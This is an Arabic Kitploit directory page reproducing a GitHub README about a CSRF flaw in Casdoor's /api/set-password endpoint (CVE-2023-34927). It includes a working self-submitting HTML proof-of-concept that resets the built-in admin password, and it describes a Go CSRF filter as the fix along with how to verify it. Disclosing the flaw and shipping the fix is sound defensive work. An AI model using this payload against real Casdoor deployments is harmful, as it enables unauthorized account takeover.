Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
csrf_casdoor — استغلال إثبات مفهوم (PoC) لثغرة CSRF في نقطة النهاية `/api/set-password` الخاصة بـ Casdoor (CVE-2023-34927)، مما يتيح تغيير كلمات المرور بشكل غير مصرح به عبر طلبات POST عابرة للمواقع (Cross-Site). يتضمن إصلاحًا لمرشح CSRF مبنيًا على Go. | Kitploit
أدوات/GitHubGitHub/vanlam2001/csrf_casdoor
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويباختبار الاختراقالمصادقة
GitHubvanlam2001/csrf_casdoor

csrf_casdoor

استغلال إثبات مفهوم (PoC) لثغرة CSRF في نقطة النهاية `/api/set-password` الخاصة بـ Casdoor (CVE-2023-34927)، مما يتيح تغيير كلمات المرور بشكل غير مصرح به عبر طلبات POST عابرة للمواقع (Cross-Site). يتضمن إصلاحًا لمرشح CSRF مبنيًا على Go.

عرض المستودع
منذ 6 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

Casdoor – تزوير الطلب عبر المواقع (CSRF)

الملخص

  • الثغرة: CSRF في /api/set-password تسمح بتغيير كلمات المرور دون موافقة.
  • الإصدارات المتأثرة: جميع إصدارات البرنامج متأثرة. لا يوجد إصدار مصحح متاح حالياً.
  • CVE: CVE-2023-34927 (الأحدث لم يُخصص بعد).
  • مؤلف الاستغلال: Van Lam Nguyen.
  • تم الاختبار على: Windows

الأثر

  • إذا كان الضحية مسجلاً دخوله إلى Casdoor، يمكن لطلب POST عبر موقع آخر تغيير كلمة مرور الضحية (مثل built-in/admin)، مما يؤدي إلى الاستيلاء على الحساب.

المتطلبات الأساسية للهجوم

  • الضحية مصادق عليه ويملك ملف تعريف ارتباط (cookie) صالحاً باسم casdoor_session_id.
  • يقوم الضحية بزيارة صفحة خبيثة ترسل تلقائياً طلب POST إلى /api/set-password.

إثبات المفهوم

root@kitploit:~
<html>
<form action="http://localhost:8000/api/set-password" method="POST">
    <input name='userOwner' value='built&#45;in' type='hidden'>
    <input name='userName' value='admin' type='hidden'>
    <input name='newPassword' value='hacked' type='hidden'>
    <input type=submit>
</form>
<script>
    history.pushState('', '', '/');
    document.forms[0].submit();
</script>
</html>

السبب الجذري

  • نقاط النهاية التي تغيّر الحالة ضمن /api/* تقبل الطلبات المصادق عليها عبر ملفات تعريف الارتباط دون فرض فحوصات المنشأ نفسه (Origin/Referer) أو رموز CSRF.

نظرة عامة على الإصلاح

  • أضف عامل تصفية CSRF من جانب الخادم لرفض طلبات POST/PUT/DELETE/PATCH عبر المواقع المعتمدة على ملفات تعريف الارتباط ضمن /api/*.
  • اسمح بالطلبات التي تحمل مصادقة صريحة غير معتمدة على ملفات تعريف الارتباط (مثل Authorization أو المصادقة الأساسية Basic auth أو بيانات اعتماد العميل أو accessToken) أو الطلبات التي لا تحتوي على ملفات تعريف ارتباط لجلسة المتصفح (استدعاءات الخادم إلى الخادم المعتادة).

التنفيذ

  • استخدم routers.CSRFFilter المنفذ في csrf_filter.go. يقوم هذا الفلتر بـ:
    • الإرجاع المبكر للطرق التي لا تغيّر الحالة.
    • السماح بالطلبات ذات المصادقة الصريحة غير المعتمدة على ملفات تعريف الارتباط.
    • حظر الطلبات عبر المواقع عندما يكون ملف تعريف ارتباط الجلسة موجوداً ولا يتطابق المصدر (origin) مع المضيف (host).

كيفية الدمج في Casdoor

  1. انسخ csrf_filter.go إلى حزمة routers الموجودة في مشروع Casdoor. لا تعدّل أو تحذف أي شيء في هذا الملف.
  2. سجّل الفلتر مبكراً في مسار معالجة HTTP (داخل main):
    root@kitploit:~
    // Beego v1 style
    beego.InsertFilter("/api/*", beego.BeforeRouter, routers.CSRFFilter)
    
    // If your project uses Beego v2 and imports as `web`:
    // web.InsertFilter("/api/*", web.BeforeRouter, routers.CSRFFilter)
    

التحقق

  • بعد تسجيل الفلتر، أعد تشغيل الـ PoC أعلاه أثناء تسجيل الدخول. يجب رفض الطلب برسالة Unauthorized operation ويجب على الخادم تسجيل CSRF check failed.
  • يجب أن تستمر استدعاءات API عبر المنشأ التي تتضمن ترويسات Authorization أو معاملات accessToken في العمل.

ملفات المستودع

  • csrf_filter.go: فلتر CSRF يجب نسخه إلى حزمة routers في Casdoor.
  • poc.html: صفحة بسيطة تعيد إنتاج هجوم CSRF.
  • README.md: هذا المستند الذي يصف الثغرة وخطوات الإصلاح.

المراجع

  • Casdoor: https://casdoor.org/
  • الإصدار: https://github.com/casdoor/casdoor/releases
  • https://vulmon.com/vulnerabilitydetails?qid=CVE-2023-34927

الفيديو

  • Youtube: https://youtu.be/N5VENgiObjY
تنزيل الأداة